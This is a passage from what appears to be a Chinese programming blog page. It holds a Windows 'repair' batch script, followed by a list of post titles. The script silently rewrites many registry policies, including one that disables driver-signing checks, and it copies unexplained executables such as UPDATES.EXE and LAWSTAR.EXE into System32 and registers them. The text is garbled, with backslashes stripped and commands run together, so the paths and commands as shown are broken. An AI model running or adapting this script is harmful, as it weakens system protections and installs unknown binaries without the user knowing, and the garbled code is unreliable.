CryptSvc>nul 2>nulnet start RpcSs>nul 2>nulreg add "HKEY_LOCAL_MACHINESoftwareMicrosoftNon-Driver Signing" /v Policy /t REG_BINARY /d 00 /f>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /f /v DisableRegistryTools /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /f /v DisableRegistryTools /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareCLASSES.reg" /f /ve /d regfile>nul 2>nulreg add "HKCRexefileshellopencommand" /f /ve /t REG_SZ /d ""%1" %*">nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /f /v DisableTaskMgr /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /f /v DisableTaskMgr /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v RestrictRun /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v RestrictRun /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /f /v DisableRegistryTools /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /f /v DisableRegistryTools /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoViewContextMenu /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoViewContextMenu /t REG_DWORD /d 00000000>nul 2>nulreg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDesktop>nul 2>nulreg delete "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDesktop>nul 2>nulreg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoSetFolders>nul 2>nulreg delete "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoSetFolders>nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerToolbar" /f /v LinksFolderName /d "链接">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionURLDefaultPrefix" /f /ve /d "http://">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionURLPrefixes" /f /v www /d "http://">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionURLPrefixes" /f /v ftp /d "ftp://">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMainUrlTemplate" /f /v 1 /d "www.%s.com">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMainUrlTemplate" /f /v 2 /d "www.%s.net">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMainUrlTemplate" /f /v 2 /d "www.%s.org">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMainUrlTemplate" /f /v 2 /d "www.%s.edu">nul 2>nulreg delete "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerURLSearchHooks" /f>nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerTypeURLs" /f>nul 2>nulecho Y|reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v NoBandCustomize /f>nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerTypeURLs" /f>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v SecChangeSettings REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v Settings /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v Links /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v SecAddSites /t REG_DWORD /d 00000000>nul 2>nulreg add "HKU.DEFAULTSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v homepage /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDrives /t REG_DWORD /d 00000000>nul 2>nulreg delete /v "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogon" /f LegalNoticeCaption>nul 2>nulreg delete /v "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogon" /f LegalNoticeText>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogon" /f /v LegalNoticeCaption /d "">nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogon" /f /v LegalNoticeText /d "">nul 2>nulreg add "HKEY_CURRENT_USERSoftwareMicrosoftOutlook Express" /f /v WindowTitle /d "">nul 2>nulreg add "HKEY_CURRENT_USERSoftwareMicrosoftOutlook Express" /f /v Store Root /d "">nul 2>nulreg delete "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesRatings" /f>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesRatings">nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones3" /f /v 1803 /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions" /f /v NoSelectDownloadDir /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwarePoliciesMicrosoftInternet ExplorerRestrictions" /f /v NoSelectDownloadDir /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUControl PanelInternational" /f /v sLongDate /d "yyyy'年'M'月'd'日">nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet Explorerrestrictions" /f /v NoBrowserOptions /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoFolderOptions /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v GeneralTab /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v SecurityTab /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v ContentTab /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v ConnectionsTab /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v ProgramsTab /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v AdvancedTab /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v Advanced /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v ConnectionSettings /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v Check_If_Default /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v ResetWebSettings /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions" /f /v NoViewSource /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwarePoliciesMicrosoftInternet ExplorerRestrictions" /f /v NoViewSource /t REG_DWORD /d 00000000>nul 2>nulreg delete "HKCUSoftwareMicrosoftInternet ExplorerMenuExt" /f>nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMenuExt" /f>nul 2>nulreg delete "HKCUSoftwareMicrosoftInternet ExplorerMenuExt2" /f>nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMenuExt2" /f>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoRun /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoRun /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoClose /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoClose /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDrives /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDrives /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoLogOff /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoLogOff /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDesktop /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoDesktop /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoSetFolders /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoSetFolders /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoSetTaskBar /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoSetTaskBar /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoViewContextMenu /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoViewContextMenu /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoFileMenu /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v NoFileMenu /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp" /f /v NoRealMode /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp" /f /v NoRealMode /t REG_DWORD /d 00000000>nul 2>nulreg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp" /f /v Disabled /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp" /f /v Disabled /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCRCLSID{BDEADF00-C265-11d0-BCED-00A0C90AB50F}" /f /ve /d "Web 文件夹">nul 2>nulreg add "HKCRCLSID{BDEADF00-C265-11d0-BCED-00A0C90AB50F}" /f /v InfoTip /d "您可以创建快捷方式，使它们指向您公司 Intranet 或万维网上的 Web 文件夹。要将文档发布到 Web 文件夹中或要管理文件夹中的文件，请单击该文件夹的快捷方式。">nul 2>nulreg add "HKCRCLSID{992CFFA0-F557-101A-88EC-00DD010CCC48}" /f /ve /d "拨号网络">nul 2>nulreg add "HKCRCLSID{992CFFA0-F557-101A-88EC-00DD010CCC48}" /f /v InfoTip /d "即使计算机不在网络上,仍可以使用拨号网络来访问另一计算机上的共享信息。要使用共享资源，拨入的计算机必须设为网络服务器。">nul 2>nulreg add "HKCRCLSID{2227A280-3AEA-1069-A2DE-08002B30309D}" /f /ve /d "打印机">nul 2>nulreg add "HKCRCLSID{2227A280-3AEA-1069-A2DE-08002B30309D}" /f /v InfoTip /d "使用打印机文件夹添加并安装本地或网络打印机，或更改现有打印机的设置。">nul 2>nulreg add "HKCRCLSID{645FF040-5081-101B-9F08-00AA002F954E}" /f /ve /d "回收站">nul 2>nulreg add "HKCRCLSID{645FF040-5081-101B-9F08-00AA002F954E}" /f /v InfoTip /d "包含可以恢复或永久删除的已删除项目。">nul 2>nulreg add "HKCRCLSID{D6277990-4C6A-11CF-8D87-00AA0060F5BF}" /f /ve /d "计划任务">nul 2>nulreg add "HKCRCLSID{D6277990-4C6A-11CF-8D87-00AA0060F5BF}" /f /v InfoTip /d "使用“任务计划”安排重复的任务，如磁盘碎片整理或例程报告等在您最方便的时候运行。“任务计划”每次在启动 Windows 时启动并在后台运行，因此例程任务不会影响您的工作。">nul 2>nulreg add "HKCRCLSID{21EC2020-3AEA-1069-A2DD-08002B30309D}" /f /ve /d "控制面版">nul 2>nulreg add "HKCRCLSID{21EC2020-3AEA-1069-A2DD-08002B30309D}" /f /v InfoTip /d "使用“控制面板”个性化您的计算机。例如，您可以指定桌面的显示(“显示”图标)、事件的声音(“声音”图标)、音频音量的大小(“多媒体”图标)和其它内容。">nul 2>nulreg add "HKCRCLSID{871C5380-42A0-1069-A2EA-08002B30309D}" /f /ve /d "Internet Explorer">nul 2>nulreg add "HKCRCLSID{871C5380-42A0-1069-A2EA-08002B30309D}" /f /v InfoTip /d "显示 WWW 或您所在公司 Intranet 上的网页，或者将您连接到 Internet。">nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions" /f /v NoBrowserContextMenu /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftOutlook Express" /f /v WindowTitle /t REG_DWORD /d 00000000>nul 2>nulreg add "HKEY_CURRENT_USERControl PanelInternational" /f /v sLongDate /d "yyyy'年'M'月'd'日'">nul 2>nulreg add "HKEY_CURRENT_USERControl PanelInternational" /f /v sLongDate16 /d "dddd', 'MMMM' 'dd', 'yyyy">nul 2>nulreg add "HKEY_CURRENT_USERControl PanelInternational" /f /v s1159 /d "上午">nul 2>nulreg add "HKEY_CURRENT_USERControl PanelInternational" /f /v s2359 /d "下午">nul 2>nulreg add "HKEY_CURRENT_USERControl PanelInternational" /f /v sShortDate /d "yyyy-M-d">nul 2>nulreg add "HKLMSoftwareMicrosoftInternet ExplorerMain" /f /v "Window Title" /d "Microsoft Internet Explorer">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "Window Title" /d "Microsoft Internet Explorer">nul 2>nulreg add "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl Panel" /f /v homepage /t REG_DWORD /d 00000000>nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "Default_Page_URL" /d "about:blank">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "Start Page" /d "about:blank">nul 2>nulreg add "HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerMain" /f /v "Default_Page_URL" /d "about:blank">nul 2>nulreg add "HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerMain" /f /v "Start Page" /d "about:blank">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain" /f /v "Local Page" /d "about:blank">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain" /f /v "Window Title" /d "Microsoft Internet Explorer">nul 2>nulreg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain" /f /v "SearchAssistant" /d "about:blank">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "Search Page" /d "http://www.google.com/intl/zh-CN/">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "SearchAssistant" /d "about:blank">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "CustomizeSearch" /d "about:blank">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /f /v "SearchUrl" /d "about:blank">nul 2>nulreg add "HKCUSoftwareMicrosoftInternet Explorer" /f /ve /d "http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchasst.htm">nul 2>nulreg add "HKLMSoftwareMicrosoftInternet ExplorerMain" /f /v "Search Page" /d "http://www.google.com/intl/zh-CN/">nul 2>nulreg add "HKLMSoftwareMicrosoftInternet ExplorerMain" /f /v "SearchAssistant" /d "about:blank">nul 2>nulreg add "HKLMSoftwareMicrosoftInternet ExplorerMain" /f /v "CustomizeSearch" /d "about:blank">nul 2>nulreg add "HKLMSoftwareMicrosoftInternet ExplorerMain" /f /v "SearchUrl" /d "about:blank">nul 2>nulreg add "HKLMSoftwareMicrosoftInternet Explorer" /f /ve /d "about:blank">nul 2>nulreg delete "HKLMSoftwareMicrosoftInternet ExplorerExtensions" /f>nul 2>nulreg delete "HKCUSoftwareMicrosoftInternet ExplorerExtensions" /f>nul 2>nul@::================================================================================echo repair program addin ocx & dllif not exist %SystemRoot%System32GAPI32.DLL copy /y . ile ileGAPI32.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32GAPI32.DLLregsvr32.exe /s /i %SystemRoot%System32GAPI32.DLLif not exist %SystemRoot%System32MSCMCCHS.DLL copy /y . ileMSCMCCHS.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32MSCMCCHS.DLLregsvr32.exe /s /i %SystemRoot%System32MSCMCCHS.DLLif not exist %SystemRoot%System32msvcrt.dll copy /y . ilemsvcrt.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32msvcrt.dllregsvr32.exe /s /i %SystemRoot%System32msvcrt.dllif not exist %SystemRoot%System32RCHTXCHS.DLL copy /y . ileRCHTXCHS.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32RCHTXCHS.DLLregsvr32.exe /s /i %SystemRoot%System32RCHTXCHS.DLLif not exist %SystemRoot%System32RICHED32.DLL copy /y . ileRICHED32.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32RICHED32.DLLregsvr32.exe /s /i %SystemRoot%System32RICHED32.DLLif not exist %SystemRoot%System32RICHTX32.OCX copy /y . ileRICHTX32.OCX %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32RICHTX32.OCXregsvr32.exe /s /i %SystemRoot%System32RICHTX32.OCXif not exist %SystemRoot%System32scrrnchs.dll copy /y . ilescrrnchs.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32scrrnchs.dllregsvr32.exe /s /i %SystemRoot%System32scrrnchs.dllif not exist %SystemRoot%System32scrrun.dll copy /y . ilescrrun.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32scrrun.dllregsvr32.exe /s /i %SystemRoot%System32scrrun.dllif not exist %SystemRoot%System32VB6CHS.DLL copy /y . ileVB6CHS.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32VB6CHS.DLLregsvr32.exe /s /i %SystemRoot%System32VB6CHS.DLLif not exist %SystemRoot%System32VB6STKIT.DLL copy /y . ileVB6STKIT.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32VB6STKIT.DLLregsvr32.exe /s /i %SystemRoot%System32VB6STKIT.DLLif not exist %SystemRoot%System32UPDATES.EXE copy /y . ileUPDATES.EXE %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32UPDATES.EXEregsvr32.exe /s /i %SystemRoot%System32UPDATES.EXEif not exist %SystemRoot%System32LAWSTAR.EXE copy /y . ileLAWSTAR.EXE %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32LAWSTAR.EXEregsvr32.exe /s /i %SystemRoot%System32LAWSTAR.EXEif not exist %SystemRoot%System32setupapi.dll copy /y . ilesetupapi.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32setupapi.dllregsvr32.exe /s /i %SystemRoot%System32setupapi.dllif not exist %SystemRoot%System32msi.dll copy /y . ilemsi.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32msi.dllregsvr32.exe /s /i %SystemRoot%System32msi.dllif not exist %SystemRoot%System32msls31.dll copy /y . ilemsls31.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32msls31.dllregsvr32.exe /s /i %SystemRoot%System32msls31.dllif not exist %SystemRoot%System32msjet35.dll copy /y . ilemsjet35.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32msjet35.dllregsvr32.exe /s /i %SystemRoot%System32msjet35.dllif not exist %SystemRoot%System32expsrv.dll copy /y . ileexpsrv.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32expsrv.dllregsvr32.exe /s /i %SystemRoot%System32expsrv.dllif not exist %SystemRoot%System32COMDLG32.OCX copy /y . ileCOMDLG32.OCX %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32COMDLG32.OCXregsvr32.exe /s /i %SystemRoot%System32COMDLG32.OCXif not exist %SystemRoot%System32MSWINSCK.OCX copy /y . ileMSWINSCK.OCX %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32MSWINSCK.OCXregsvr32.exe /s /i %SystemRoot%System32MSWINSCK.OCXif not exist %SystemRoot%System32WINSKCHS.DLL copy /y . ileWINSKCHS.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32WINSKCHS.DLLregsvr32.exe /s /i %SystemRoot%System32WINSKCHS.DLLif not exist %SystemRoot%System32MSINET.OCX copy /y . ileMSINET.OCX %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32MSINET.OCXregsvr32.exe /s /i %SystemRoot%System32MSINET.OCXif not exist %SystemRoot%System32jscript.dll copy /y . ilejscript.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32jscript.dllregsvr32.exe /s /i %SystemRoot%System32jscript.dllif not exist %SystemRoot%System32msvcp60.dll copy /y . ilemsvcp60.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32msvcp60.dllregsvr32.exe /s /i %SystemRoot%System32msvcp60.dllif not exist %SystemRoot%System32clbcatq.dll copy /y . ileclbcatq.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32clbcatq.dllregsvr32.exe /s /i %SystemRoot%System32clbcatq.dllif not exist %SystemRoot%System32comres.dll copy /y . ilecomres.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32comres.dllregsvr32.exe /s /i %SystemRoot%System32comres.dllif not exist %SystemRoot%System32asycfilt.dll copy /y . ileasycfilt.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32asycfilt.dllregsvr32.exe /s /i %SystemRoot%System32asycfilt.dllif not exist %SystemRoot%System32oleaut32.dll copy /y . ileoleaut32.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32oleaut32.dllregsvr32.exe /s /i %SystemRoot%System32oleaut32.dllif not exist %SystemRoot%System32olepro32.dll copy /y . ileolepro32.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32olepro32.dllregsvr32.exe /s /i %SystemRoot%System32olepro32.dllif not exist %SystemRoot%System32stdole2.tlb copy /y . ilestdole2.tlb %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32stdole2.tlbregsvr32.exe /s /i %SystemRoot%System32stdole2.tlbif not exist %SystemRoot%System32msvbvm60.dll copy /y . ilemsvbvm60.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32msvbvm60.dllregsvr32.exe /s /i %SystemRoot%System32msvbvm60.dllif not exist %SystemRoot%System32comcat.dll copy /y . ilecomcat.dll %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32comcat.dllregsvr32.exe /s /i %SystemRoot%System32comcat.dllif not exist %SystemRoot%System32mscomctl.ocx copy /y . ilemscomctl.ocx %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32mscomctl.ocxregsvr32.exe /s /i %SystemRoot%System32mscomctl.ocxif not exist %SystemRoot%System32comctl32.ocx copy /y . ilecomctl32.ocx %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32comctl32.ocxregsvr32.exe /s /i %SystemRoot%System32comctl32.ocxif not exist %SystemRoot%System32ADVPACK.DLL copy /y . ileADVPACK.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32ADVPACK.DLLregsvr32.exe /s /i %SystemRoot%System32ADVPACK.DLLif not exist %SystemRoot%System32W95INF32.DLL copy /y . ileW95INF32.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32W95INF32.DLLregsvr32.exe /s /i %SystemRoot%System32W95INF32.DLLif not exist %SystemRoot%System32W95INF16.DLL copy /y . ileW95INF16.DLL %SystemRoot%System32>nul 2>nulregsvr32.exe /s %SystemRoot%System32W95INF16.DLLregsvr32.exe /s /i %SystemRoot%System32W95INF16.DLL@::================================================================================@::others%windir%explorer.exeexit
- 一段弃暗投明的代码
- 一段不可思议的代码
- 一段写晕掉的代码
- 一段好玩的代码
- 一段有趣的代码
- 一段漏洞百出的代码
- treeview的一段代码
- 一段分页的代码
- 一段简单的代码
- 一段smc的代码
- 一段好的代码
- CRM_ORDER_READ 的一段代码
- 一段ITEMCHANGED的代码
- 一段代码的差别
- 一段奇怪的代码
- 一段好玩的代码
- 一段下载的代码
- CursorAdapter的一段代码
- 我的CSDN成长历程
- vivi 2 mem
- 世界编程语言排行榜08年03月
- Windows下的C++编程——你过时了么？
- 我的广告服务器罢工了？
- 一段弃暗投明的代码
- 在eclipse中, 如何快速输入(快捷键)System.out.println();
- 解决运行eclipse内存不足的问题
- 世界上最美丽的英文－A Forever Friend
- 世界上最美丽的英文－Love
- C#的四种排序算法
- 系统开发之需求分析--心得体会（一）
- 立足现实 与时俱进：C++ 1991-2006
- 优秀团队的一些特征
